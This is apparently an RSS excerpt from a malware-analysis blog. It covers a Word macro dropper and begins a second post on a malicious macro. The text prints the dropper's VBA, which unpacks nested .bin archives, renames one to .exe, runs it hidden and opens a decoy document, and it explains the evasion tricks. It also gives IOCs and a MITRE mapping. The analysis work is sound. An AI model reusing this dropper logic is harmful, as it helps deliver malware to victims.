</span></span><span class="line"><span class="cl">    <span class="n">mShellApplication</span><span class="o">.</span><span class="n">Namespace</span><span class="p">(</span><span class="n">mfolder</span><span class="p">)</span><span class="o">.</span><span class="n">CopyHere</span> <span class="n">mShellApplication</span><span class="o">.</span><span class="n">Namespace</span><span class="p">(</span><span class="n">mfolder</span> <span class="o">&amp;</span> <span class="s2">&#34;word</span><span class="se">\&#34;</span><span class="s2"> &amp; mfile &amp; Replace(&#34;</span><span class="o">.</span><span class="n">z_ip</span><span class="s2">&#34;, &#34;</span><span class="n">_</span><span class="s2">&#34;, &#34;&#34;)).items</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;mfolder\oleObjectfilewedum.bin is renamed as mfolder\mfile.exe</span>
</span></span><span class="line"><span class="cl">    <span class="n">Name</span> <span class="n">mfolder</span> <span class="o">&amp;</span> <span class="s2">&#34;oleObject&#34;</span> <span class="o">&amp;</span> <span class="n">filewedum</span> <span class="o">&amp;</span> <span class="s2">&#34;.bin&#34;</span> <span class="n">As</span> <span class="n">mfolder</span> <span class="o">&amp;</span> <span class="n">mfile</span> <span class="o">&amp;</span> <span class="n">Replace</span><span class="p">(</span><span class="s2">&#34;.e_xe&#34;</span><span class="p">,</span> <span class="s2">&#34;_&#34;</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;The binary mfolder\mfile.exe is executed</span>
</span></span><span class="line"><span class="cl">    <span class="n">Shell</span> <span class="n">mfolder</span> <span class="o">&amp;</span> <span class="n">mfile</span> <span class="o">&amp;</span> <span class="n">Replace</span><span class="p">(</span><span class="s2">&#34;.e_xe&#34;</span><span class="p">,</span> <span class="s2">&#34;_&#34;</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">),</span> <span class="n">vbNormalNoFocus</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;The file mfolder\word\embeddings\oleObject3.bin is renamed as C:\users\USER\Documents</span><span class="se">\n</span><span class="s1">ameOfMaliciousDoc.docx</span>
</span></span><span class="line"><span class="cl">    <span class="n">Dim</span> <span class="n">dokc_paeth</span>  <span class="n">As</span> <span class="ne">String</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="n">dokc_paeth</span> <span class="o">=</span> <span class="n">Environ</span><span class="o">$</span><span class="p">(</span><span class="s2">&#34;USERPROFILE&#34;</span><span class="p">)</span> <span class="o">&amp;</span> <span class="s2">&#34;\Documents</span><span class="se">\&#34;</span><span class="s2"> &amp; Application.ActiveDocument.Name &amp; &#34;</span><span class="o">.</span><span class="n">docx</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="n">If</span> <span class="n">Dir</span><span class="p">(</span><span class="n">dokc_paeth</span><span class="p">)</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span> <span class="n">Then</span>
</span></span><span class="line"><span class="cl">        <span class="n">Name</span> <span class="n">mfolder</span> <span class="o">&amp;</span> <span class="s2">&#34;word\embeddings\oleObject3.bin&#34;</span> <span class="n">As</span> <span class="n">dokc_paeth</span>
</span></span><span class="line"><span class="cl">    <span class="n">End</span> <span class="n">If</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;The .docx file is opened</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="n">Documents</span><span class="o">.</span><span class="n">Open</span> <span class="n">FileName</span>
</span></span><span class="line"><span class="cl">    <span class="o">=</span> <span class="n">dokc_paeth</span><span class="p">,</span> <span class="n">ConfirmConversions</span>
</span></span><span class="line"><span class="cl">    <span class="o">=</span> <span class="n">False</span><span class="p">,</span> <span class="n">_</span>
</span></span><span class="line"><span class="cl">      <span class="n">ReadOnly</span>
</span></span><span class="line"><span class="cl">    <span class="o">=</span> <span class="n">False</span><span class="p">,</span> <span class="n">AddToRecentFiles</span>
</span></span><span class="line"><span class="cl">    <span class="o">=</span> <span class="n">False</span><span class="p">,</span> <span class="n">PasswordDocument</span>
</span></span><span class="line"><span class="cl">    <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">,</span> <span class="n">_</span>
</span></span><span class="line"><span class="cl">      <span class="n">PasswordTemplate</span>
</span></span><span class="line"><span class="cl">    <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">,</span> <span class="n">Revert</span>
</span></span><span class="line"><span class="cl">    <span class="o">=</span> <span class="n">False</span><span class="p">,</span> <span class="n">WritePasswordDocument</span>
</span></span><span class="line"><span class="cl">    <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">,</span> <span class="n">_</span>
</span></span><span class="line"><span class="cl">      <span class="n">WritePasswordTemplate</span>
</span></span><span class="line"><span class="cl">    <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">,</span> <span class="n">Format</span>
</span></span><span class="line"><span class="cl">    <span class="o">=</span> <span class="n">wdOpenFormatAuto</span><span class="p">,</span> <span class="n">XMLTransform</span>
</span></span><span class="line"><span class="cl">    <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl"><span class="n">End</span> <span class="n">Sub</span></span></span></code></pre></div>
</div>
<p>Based on the analysis, it appears that when the document is opened it performs the following actions:</p>
<ol>
<li>the malicious document is copied to a path within the user&rsquo;s profile</li>
<li>The document is renamed and the .zip extension is added.</li>
<li>The .zip is extracted</li>
<li>A .bin file is extracted from the previously extracted files, and its extension is changed to .zip.</li>
<li>The contents of the .zip file are extracted, and it contains another .bin file.</li>
<li>The extension of the new .bin file is changed to .exe.</li>
<li>The .exe is executed in the background</li>
<li>Another file is extracted from the original document (files obtained in step 3) and copied to the user&rsquo;s &ldquo;Documents&rdquo; folder with extension .docx.</li>
<li>The .docx file is opened</li>
</ol>
<p>As part of the analysis we can see another way attackers use to evade defenses: the malicious binary (.exe) was stored inside 2 compressed files, each with a .bin extension. If an antivirus looked for the signature of the .exe file it would not find it because it is compressed; similarly, if it relied on the extension to determine the file type, it might not detect the .bin as a compressed file.</p>
<p>Now that we have an idea of what the malicious document is doing, we proceed to execute it in a controlled manner to verify if the analysis was correct.</p>
<h2 id="dynamic-analysis-of-the-file">
  Dynamic analysis of the file<a class="heading-anchor" href="#dynamic-analysis-of-the-file" aria-label="Link to this section">#</a></h2>
<p>Before we begin with the dynamic analysis we open <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite" rel="noopener noreferrer external" target="_blank"><em>Procmon</em> and <em>Process Explorer</em></a>
, since we know that the macro interacts with folders and that it starts new processes.</p>
<p>When we try to open the Visual Basic editor (before clicking on &ldquo;Enable content&rdquo;), we realize that it has a password:</p>
<p><figure><img src="/p/003-macro-dropper/003-password_hu_8f105661e11441e.webp" alt="Password Protected Macro" loading="lazy" decoding="async" width="1043" height="378"><figcaption>Password Protected Macro</figcaption></figure>
</p>
<p>Although the Visual Basic editor does not let us access the content without having the password, we were already able to visualize the macros previously by using <em>olevba</em>, which tells us that Microsoft Office does not store the macros encrypted at rest. That means that adding a password is not an effective control if what we are looking for is that they are not analyzed.</p>
<p>To skip the roadblock we have two options:</p>
<ol>
<li>Execute the VBA code from a different file (since we obtained it previously with <em>olevba</em>)</li>
<li>Bypass the restriction in the original file</li>
</ol>
<p>On this occasion I opted for the second option (how is beyond the scope of this article, but a quick Google search should suffice).</p>
<p>Once we have the macro open, we can use the F8 key to move instruction by instruction. We can use the &ldquo;Locals&rdquo; window to see the content being assigned to the variables as the instructions are executed:</p>
<p><figure><img src="/p/003-macro-dropper/003-locals_hu_8878539ddbe99097.webp" alt="Use of locals" loading="lazy" decoding="async" width="1169" height="524"><figcaption>Use of locals</figcaption></figure>
</p>
<p>The first interesting operation we expect is the creation of a folder named Wrdix+number in the user&rsquo;s path (in this case C:\users\tmn):</p>
<div class="codeblock">
  <div class="codebar">
    <span>vba</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">    mfolder = Environ$(&#34;USERPROFILE&#34;) &amp; &#34;\Wrdix&#34; &amp; &#34;&#34; &amp; Second(Now) &amp; &#34;\&#34;
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    If Dir(mfolder, vbDirectory) = &#34;&#34; Then
</span></span><span class="line"><span class="cl">        MkDir (mfolder)
</span></span><span class="line"><span class="cl">    End If</span></span></code></pre></div>
</div>
<p>We can verify that the directory was indeed created both by inspecting the folder and by using <em>Procmon</em>:</p>
<p><figure><img src="/p/003-macro-dropper/003-folderCreated_hu_ae791cd624ffcf6e.webp" alt="New folder" loading="lazy" decoding="async" width="595" height="150"><figcaption>New folder</figcaption></figure>
</p>
<p><figure><img src="/p/003-macro-dropper/003-procmonfolder_hu_f2d2ada14989bbd5.webp" alt="Folder creation in ProcMon" loading="lazy" decoding="async" width="495" height="160"><figcaption>Folder creation in ProcMon</figcaption></figure>
</p>
<p>The next operation we expect is for the document to be copied to the folder created, renamed domcxs.zip and extracted:</p>
<div class="codeblock">
  <div class="codebar">
    <span>vba</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">    FSEDEO.CopyFile Application.ActiveDocument.FullName, mfolder &amp; Replace(&#34;do_mc_xs&#34;, &#34;_&#34;, &#34;&#34;), True
</span></span><span class="line"><span class="cl">    Name mfolder &amp; Replace(&#34;do_mc_xs&#34;, &#34;_&#34;, &#34;&#34;) As mfolder &amp; Replace(&#34;do_mc_xs.zi_p&#34;, &#34;_&#34;, &#34;&#34;)
</span></span><span class="line"><span class="cl">    mShellApplication.Namespace(mfolder).CopyHere mShellApplication.Namespace(mfolder &amp; Replace(&#34;do_mc_xs.zi_p&#34;, &#34;_&#34;, &#34;&#34;)).items</span></span></code></pre></div>
</div>
<p><figure><img src="/p/003-macro-dropper/003-extractfolder_hu_634cdc3764fb634d.webp" alt="Document copied and extracted" loading="lazy" decoding="async" width="1074" height="293"><figcaption>Document copied and extracted</figcaption></figure>
</p>
<p>Then, we expect the file word\embeddings\oleObject1.bin to be renamed to &ldquo;vteijam hdgtra.zip&rdquo;, extracted and the name of the extracted file to be changed to &ldquo;vteijam hdgtra.exe&rdquo;:</p>
<div class="codeblock">
  <div class="codebar">
    <span>vba</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">    &#39;The file mfolder\word\embeddings\oleObject1.bin is renamed to &#34;mfoldder\word\vteijam hdgtra.zip&#34;
</span></span><span class="line"><span class="cl">    Name mfolder &amp; &#34;word\embeddings\oleObject1.bin&#34; As mfolder &amp; &#34;word\&#34; &amp; mfile &amp; Replace(&#34;.z_ip&#34;, &#34;_&#34;, &#34;&#34;)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    &#39;The contents of &#34;mfoldder\word\vteijam hdgtra.zip&#34; are extracted to  mfolder
</span></span><span class="line"><span class="cl">    mShellApplication.Namespace(mfolder).CopyHere mShellApplication.Namespace(mfolder &amp; &#34;word\&#34; &amp; mfile &amp; Replace(&#34;.z_ip&#34;, &#34;_&#34;, &#34;&#34;)).items
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    &#39;The file mfolder\oleObjectfilewedum.bin is renamed as mfolder\mfile.exe
</span></span><span class="line"><span class="cl">    Name mfolder &amp; &#34;oleObject&#34; &amp; filewedum &amp; &#34;.bin&#34; As mfolder &amp; mfile &amp; Replace(&#34;.e_xe&#34;, &#34;_&#34;, &#34;&#34;)</span></span></code></pre></div>
</div>
<p><figure><img src="/p/003-macro-dropper/003-zip-exe_hu_f6dc4e85d7801d57.webp" alt="New zip just arrived" loading="lazy" decoding="async" width="918" height="207"><figcaption>New zip just arrived</figcaption></figure>
</p>
<p>Finally, the binary &ldquo;vteijam hdgtra.exe&rdquo; is executed:</p>
<p><figure><img src="/p/003-macro-dropper/003-execution_hu_8d68375497f55e86.webp" alt="Executing exe" loading="lazy" decoding="async" width="809" height="374"><figcaption>Executing exe</figcaption></figure>
</p>
<p>We can verify the creation of the new process in <em>Process Explorer</em> and in <em>Procmon</em>:</p>
<p><figure><img src="/p/003-macro-dropper/003-procExp_hu_8c7b07afdb9658bf.webp" alt="ProcExp exe" loading="lazy" decoding="async" width="928" height="54"><figcaption>ProcExp exe</figcaption></figure>
</p>
<p><figure><img src="/p/003-macro-dropper/003-procmonexe_hu_8696f413eb8e6cc7.webp" alt="Procmon exe" loading="lazy" decoding="async" width="1153" height="55"><figcaption>Procmon exe</figcaption></figure>
</p>
<p>Although the payload embedded in the Word document has already been started, the attacker still has one more task to do in order not to cause any suspicion:</p>
<div class="codeblock">
  <div class="codebar">
    <span>vba</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">    &#39;The file mfolder\word\embeddings\oleObject3.bin is copied as C:\users\USER\Documents\nameOfMaliciousDocument.docx
</span></span><span class="line"><span class="cl">    Dim dokc_paeth As String
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    dokc_paeth = Environ$(&#34;USERPROFILE&#34;) &amp; &#34;\Documents\&#34; &amp; Application.ActiveDocument.Name &amp; &#34;.docx&#34;
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    If Dir(dokc_paeth) = &#34;&#34; Then
</span></span><span class="line"><span class="cl">        Name mfolder &amp; &#34;word\embeddings\oleObject3.bin&#34; As dokc_paeth
</span></span><span class="line"><span class="cl">    End If
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    &#39;The newly copied file is opened
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    Documents.Open FileName
</span></span><span class="line"><span class="cl">     = dokc_paeth, ConfirmConversions
</span></span><span class="line"><span class="cl">     = False, _
</span></span><span class="line"><span class="cl">    ReadOnly
</span></span><span class="line"><span class="cl">     = False, AddToRecentFiles
</span></span><span class="line"><span class="cl">     = False, PasswordDocument
</span></span><span class="line"><span class="cl">     = &#34;&#34;, _
</span></span><span class="line"><span class="cl">    PasswordTemplate
</span></span><span class="line"><span class="cl">     = &#34;&#34;, Revert
</span></span><span class="line"><span class="cl">     = False, WritePasswordDocument
</span></span><span class="line"><span class="cl">     = &#34;&#34;, _
</span></span><span class="line"><span class="cl">    WritePasswordTemplate
</span></span><span class="line"><span class="cl">     = &#34;&#34;, Format
</span></span><span class="line"><span class="cl">     = wdOpenFormatAuto, XMLTransform
</span></span><span class="line"><span class="cl">     = &#34;&#34;</span></span></code></pre></div>
</div>
<p><figure><img src="/p/003-macro-dropper/003-newword_hu_69833bfe9756dab1.webp" alt="Creating decoy file" loading="lazy" decoding="async" width="824" height="336"><figcaption>Creating decoy file</figcaption></figure>
</p>
<p><figure><img src="/p/003-macro-dropper/003-decoy_hu_1834be8eb65ed661.webp" alt="Decoy file" loading="lazy" decoding="async" width="762" height="567"><figcaption>Decoy file</figcaption></figure>
</p>
<p>By creating and opening the new file, the victim is shown the expected Word document.</p>
<p>Finally, we validate in <em>Procmon</em> that the second stage started performing actions:</p>
<p><figure><img src="/p/003-macro-dropper/003-agent_hu_1d61357dd01367a4.webp" alt="C2 agent" loading="lazy" decoding="async" width="840" height="596"><figcaption>C2 agent</figcaption></figure>
</p>
<p>The malicious payload is a C2 agent, the analysis of which we will explore in the second part of the post.</p>
<h2 id="conclusions">
  Conclusions<a class="heading-anchor" href="#conclusions" aria-label="Link to this section">#</a></h2>
<p>As we saw in the analysis, exploring how a dropper works allows us to understand the different techniques that an attacker may follow to prevent the malware they developed from being identified: whether it is adding passwords to macros, obfuscating (albeit slightly) the names of variables and functions, or embedding the malicious payloads under multiple layers and renames, everything is intended to hinder manual analysis and rapid identification by automated tools that rely on known signatures and patterns.</p>
<p>Even so, the behavior that the document exhibits (creating a folder, extracting files, executing an .exe) is not standard for a normal document, so there is still a chance of detection by analyzing what the file does when executed.</p>
<p>As part of this analysis, we were able to identify different indicators of compromise: files with a static name, hashes of the various compressed and executable files, as well as folders created. The identified IOCs are detailed in section 7.</p>
<p>The malicious payload corresponds to an agent that communicates with a Command and Control server. <a href="/p/004-dotnet-agent/">In the second part of the post</a>
 we will explore how the agent works, the actions it performs and how we can obtain indicators of compromise from it.</p>
<h2 id="mitre-attck-mapping">
  MITRE ATT&amp;CK mapping<a class="heading-anchor" href="#mitre-attck-mapping" aria-label="Link to this section">#</a></h2>
<div class="table-wrap">
  <table>
    <thead>
      <tr>
        <th>ID</th>
        <th>Tactic</th>
        <th>Technique</th>
        <th>Description</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>T1027.009</td>
        <td>Defense evasion</td>
        <td>Obfuscated Files or Information: Embedded Payloads</td>
        <td>Malicious payloads were embedded in the document</td>
      </tr>
      <tr>
        <td>T1027.010</td>
        <td>Defense evasion</td>
        <td>Obfuscated Files or Information: Command Obfuscation</td>
        <td>Character substitution was used to obfuscate commands</td>
      </tr>
      <tr>
        <td>T1036.008</td>
        <td>Defense evasion</td>
        <td>Masquerade File Type</td>
        <td>The executable file&rsquo;s extension was changed to .bin</td>
      </tr>
      <tr>
        <td>T1204.002</td>
        <td>Execution</td>
        <td>User Execution: Malicious File</td>
        <td>It requires the user to open the file</td>
      </tr>
      <tr>
        <td>T1059.005</td>
        <td>Execution</td>
        <td>Command and Scripting Interpreter: Visual Basic</td>
        <td>VBA was used for command execution</td>
      </tr>
    </tbody>
  </table>
</div>
<h2 id="ioc">
  IOC<a class="heading-anchor" href="#ioc" aria-label="Link to this section">#</a></h2>
<div class="table-wrap">
  <table>
    <thead>
      <tr>
        <th>IOC</th>
        <th>Type</th>
        <th>Description</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>22ce9042f6f78202c6c346cef1b6e532</td>
        <td>MD5 hash</td>
        <td>Malicious .docm</td>
      </tr>
      <tr>
        <td>e31ac765d1e97698bc1efe443325e497</td>
        <td>MD5 hash</td>
        <td>Malicious compressed file (oleObject1.bin)</td>
      </tr>
      <tr>
        <td>59211a4e0f27d70c659636746b61945a</td>
        <td>MD5 hash</td>
        <td>Malicious payload 1</td>
      </tr>
      <tr>
        <td>1d493e326d91c53e0f2f4320fb689d5f</td>
        <td>MD5 hash</td>
        <td>Malicious payload 2</td>
      </tr>
      <tr>
        <td>efed06b2fd437d6008a10d470e2c519f</td>
        <td>MD5 hash</td>
        <td>decoy .docx</td>
      </tr>
      <tr>
        <td>vteijam hdgtra.exe</td>
        <td>Name</td>
        <td>Malicious binary</td>
      </tr>
      <tr>
        <td>C:\users\[^\]+\Wrdix\d+$</td>
        <td>Path</td>
        <td>Path of malicious executable (C:\users\USER\WrdixNUM)</td>
      </tr>
    </tbody>
  </table>
</div>
]]></content:encoded></item><item><title>002 - Analyzing a Malicious Macro</title><link>https://www.threatanatomy.com/p/002-malicious-macro/</link><pubDate>Wed, 06 Dec 2023 12:08:00 -0500</pubDate><guid>https://www.threatanatomy.com/p/002-malicious-macro/</guid><description>In this article we analyze from scratch a malicious macro that has an embedded bind shell using static and dynamic analysis techniques.</description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="introduction">
  Introduction<a class="heading-anchor" href="#introduction" aria-label="Link to this section">#</a></h2>
<p>For this first post (second if we count the <a href="/p/001-intro">intro</a>
) I decided to analyze a malicious macro for the following reasons:</p>
<ol>
<li>Macros allow us to analyze the code they contain, which I felt would be good to start with as opposed to going straight into analyzing a binary.</li>
<li>Macros are often used as &ldquo;Droppers&rdquo; to load other malware onto a system.</li>
<li>Macros are frequently abused in social engineering attacks, because users are used to opening Office files.</li>
</ol>
<p>The malware chosen for analysis has the hash <strong>97806d455842e36b67fdd2a763f97281</strong> and can be downloaded from the following <a href="https://bazaar.abuse.ch/sample/ab518a86b77fe842821b50d182b9394d2a59d1c64183a37eb70a6cac100b39f8/" rel="noopener noreferrer external" target="_blank">link</a>
.</p>
<blockquote>
<p><strong>Disclaimer</strong>: Running malware on a personal or corporate device can put your information/your company&rsquo;s information at risk. Never run malware on a device that has not been specifically configured for malware analysis.</p>
</blockquote>
<h2 id="static-analysis">
  Static analysis<a class="heading-anchor" href="#static-analysis" aria-label="Link to this section">#</a></h2>
<h3 id="obtaining-the-malicious-document-hashes">
  Obtaining the malicious document hashes<a class="heading-anchor" href="#obtaining-the-malicious-document-hashes" aria-label="Link to this section">#</a></h3>
<p>Once the .zip is downloaded and extracted, we get a .docm file (Microsoft Word macro-enabled file), which has the following hashes:</p>
<div class="table-wrap">
  <table>
    <thead>
      <tr>
        <th>Algorithm</th>
        <th>Hash</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>MD5</td>
        <td>97806d455842e36b67fdd2a763f97281</td>
      </tr>
      <tr>
        <td>SHA256</td>
        <td>ab518a86b77fe842821b50d182b9394d2a59d1c64183a37eb70a6cac100b39f8</td>
      </tr>
    </tbody>
  </table>
</div>
<p><figure><img src="/p/002-malicious-macro/002-hashesdocm_hu_22d47f808c80c6da.webp" alt="Hashes docm" loading="lazy" decoding="async" width="1237" height="290"><figcaption>Hashes docm</figcaption></figure>
</p>
<h3 id="file-analysis-with-olevba">
  File analysis with olevba<a class="heading-anchor" href="#file-analysis-with-olevba" aria-label="Link to this section">#</a></h3>
<p>We start the analysis with <a href="https://github.com/decalage2/oletools/wiki/olevba" rel="noopener noreferrer external" target="_blank"><em>olevba</em></a>
, which is a program that allows us to find and extract information from files that contain macros without the need for us to execute those files.</p>
<p>Using the -a parameter we can obtain an initial analysis of the file:</p>
<div class="codeblock">
  <div class="codebar">
    <span>powershell</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="n">olevba</span><span class="p">.</span><span class="py">exe</span> <span class="n">-a</span> <span class="p">.\</span><span class="n">ab518a86b77fe842821b50d182b9394d2a59d1c64183a37eb70a6cac100b39f8</span><span class="p">.</span><span class="n">docm</span></span></span></code></pre></div>
</div>
<p><figure><img src="/p/002-malicious-macro/002-olevba-a_hu_c8b5443062629293.webp" alt="Olevba -a result" loading="lazy" decoding="async" width="1024" height="718"><figcaption>Olevba -a result</figcaption></figure>
</p>
<p>As part of the analysis we notice that <em>olevba</em> identifies some suspicious text strings, among which the following are of particular interest:</p>
<ol>
<li>AutoOpen: function that is executed when the file is opened, without requiring user interaction (apart from enabling macros if they are disabled).</li>
<li>WScript.Shell: object that allows executing a command in the system.</li>
<li>libc.dylib and system: strings that could be related to command execution on macOS systems.</li>
</ol>
<p>Additionally, we see that <em>olevba</em> detects some URLs as possible IOCs; it will be of interest to analyze what the URLs are being used for, as they may be used to store malicious binaries, as a command and control server (C2), or be false positives.</p>
<p>Using the -c parameter we can obtain the VBA code, where we find multiple functions:</p>
<div class="codeblock">
  <div class="codebar">
    <span>powershell</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="n">olevba</span><span class="p">.</span><span class="py">exe</span> <span class="n">-c</span> <span class="p">.\</span><span class="n">ab518a86b77fe842821b50d182b9394d2a59d1c64183a37eb70a6cac100b39f8</span><span class="p">.</span><span class="n">docm</span></span></span></code></pre></div>
</div>
<ol>
<li>AutoOpen(): function that is executed when the file is opened.</li>
<li>ExecuteForWindows(code) and ExecuteForOSX(code): functions that by their names seem to execute code based on the operating system.</li>
<li>Base64Decode(ByVal base64String): function that by its name seems to decode a Base64 encoded text.</li>
</ol>
<p>Analyzing the AutoOpen function, we verify that when the .docm file is opened, it iterates through the file properties looking for the &ldquo;Comments&rdquo; property, extracts a value from that property, obtains part of that value, decodes it using the Base64Decode(ByVal base64String) function and passes it as a parameter to the ExecuteForWindows(code)/ExecuteForOSX(code) functions, <a href="https://learn.microsoft.com/en-us/office/vba/Language/Concepts/Getting-Started/compiler-constants" rel="noopener noreferrer external" target="_blank">depending on which OS it is running</a>
:</p>
<p><figure><img src="/p/002-malicious-macro/002-olevba-autoOpen_hu_2371c3c94e66294.webp" alt="AutoOpen" loading="lazy" decoding="async" width="630" height="287"><figcaption>AutoOpen</figcaption></figure>
</p>
<p>When we look at the file&rsquo;s properties, it is not obvious that there is a comment stored in them, but after double-clicking the property the content appears:</p>
<p><figure><img src="/p/002-malicious-macro/002-comments_hu_507c474ef653f7d7.webp" alt="Comments property" loading="lazy" decoding="async" width="673" height="480"><figcaption>Comments property</figcaption></figure>
</p>
<p>If we would like to extract the comment programmatically, we can use PowerShell:</p>
<div class="codeblock">
  <div class="codebar">
    <span>powershell</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="c">#We assign the file to a variable</span>
</span></span><span class="line"><span class="cl"><span class="nv">$file</span> <span class="p">=</span> <span class="s2">&#34;C:\Analisis\ab518a86b77fe842821b50d182b9394d2a59d1c64183a37eb70a6cac100b39f8.docm&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c">#We create a Shell.Application object to be able to access file properties</span>
</span></span><span class="line"><span class="cl"><span class="nv">$shell</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="n">-ComObject</span> <span class="n">Shell</span><span class="p">.</span><span class="py">Application</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c">#We obtain a reference to the file through the object previously created</span>
</span></span><span class="line"><span class="cl"><span class="nv">$item</span> <span class="p">=</span> <span class="nv">$shell</span><span class="p">.</span><span class="py">Namespace</span><span class="p">((</span><span class="nb">Get-Item</span> <span class="nv">$file</span><span class="p">).</span><span class="n">DirectoryName</span><span class="p">).</span><span class="py">ParseName</span><span class="p">((</span><span class="nb">Get-Item</span> <span class="nv">$file</span><span class="p">).</span><span class="n">Name</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c">#We obtain the &#34;Comment&#34; property</span>
</span></span><span class="line"><span class="cl"><span class="nv">$comments</span> <span class="p">=</span> <span class="nv">$item</span><span class="p">.</span><span class="py">ExtendedProperty</span><span class="p">(</span><span class="s2">&#34;System.Comment&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c">#We save the content of the property to a text file</span>
</span></span><span class="line"><span class="cl"><span class="nv">$comments</span> <span class="p">&gt;</span> <span class="n">comments</span><span class="p">.</span><span class="n">txt</span></span></span></code></pre></div>
</div>
<p>Once the input is identified, we proceed to analyze the function that is decoding it. Inside the function we see a comment that references Motobit, along with the URLs that <em>olevba</em> identified as IOCs:</p>
<p><figure><img src="/p/002-malicious-macro/002-decode_hu_415e8f0b9f9780cb.webp" alt="Base64Decode" loading="lazy" decoding="async" width="677" height="74"><figcaption>Base64Decode</figcaption></figure>
</p>
<p>Since the URLs are not being used, we discard them as false positives (because there are other programs that may contain such URLs without necessarily being malicious); by searching the text of the comments in Google we identify the <a href="https://www.motobit.com/tips/detpg_Base64/" rel="noopener noreferrer external" target="_blank">code from which the function came</a>
.</p>
<p>Finally, we analyze the functions where the decoded text is sent:</p>
<p><figure><img src="/p/002-malicious-macro/002-execute_hu_905c59888105dd38.webp" alt="Execute methods" loading="lazy" decoding="async" width="615" height="245"><figcaption>Execute methods</figcaption></figure>
</p>
<p>In the case of macOS it is simple: the text is passed to the Python interpreter to be executed; on the other hand, if the OS is Windows, it does the following:</p>
<ol>
<li>The variable tmp_folder is assigned to <a href="https://learn.microsoft.com/en-us/office/vba/language/reference/user-interface-help/getspecialfolder-method" rel="noopener noreferrer external" target="_blank">the path stored in the TMP environment variable</a>
</li>
<li>A file with a <a href="https://learn.microsoft.com/en-us/office/vba/language/reference/user-interface-help/gettempname-method" rel="noopener noreferrer external" target="_blank">random name</a>
 is created (tmp_name) in that path, and a .exe extension is appended to it</li>
<li>The file is executed using the WScript.Shell object</li>
</ol>
<h2 id="dynamic-analysis">
  Dynamic analysis<a class="heading-anchor" href="#dynamic-analysis" aria-label="Link to this section">#</a></h2>
<h3 id="controlled-macro-execution">
  Controlled Macro Execution<a class="heading-anchor" href="#controlled-macro-execution" aria-label="Link to this section">#</a></h3>
<p>Now that we have more details of what the macro does, we can check if the analysis was correct by running it in a controlled manner. When we open the file, we see that it has a message indicating that the document was created by a more recent version of Microsoft Office, and that macros must be enabled to view it; this message is false, and aims to trick the user into enabling macros and thus trigger the code within the AutoOpen() function.</p>
<p><figure><img src="/p/002-malicious-macro/002-archivoOffice_hu_4cd58edbcf553907.webp" alt="Enable macros message" loading="lazy" decoding="async" width="1266" height="437"><figcaption>Enable macros message</figcaption></figure>
</p>
<p>Before clicking on &ldquo;Enable content&rdquo; we press ALT+F11 to open the Visual Basic editor, where we verify that the same functions we identified with <em>olevba</em> are present:</p>
<p><figure><img src="/p/002-malicious-macro/002-macroview_hu_7c09f272d3f8d628.webp" alt="Visual Basic Editor" loading="lazy" decoding="async" width="1087" height="643"><figcaption>Visual Basic Editor</figcaption></figure>
</p>
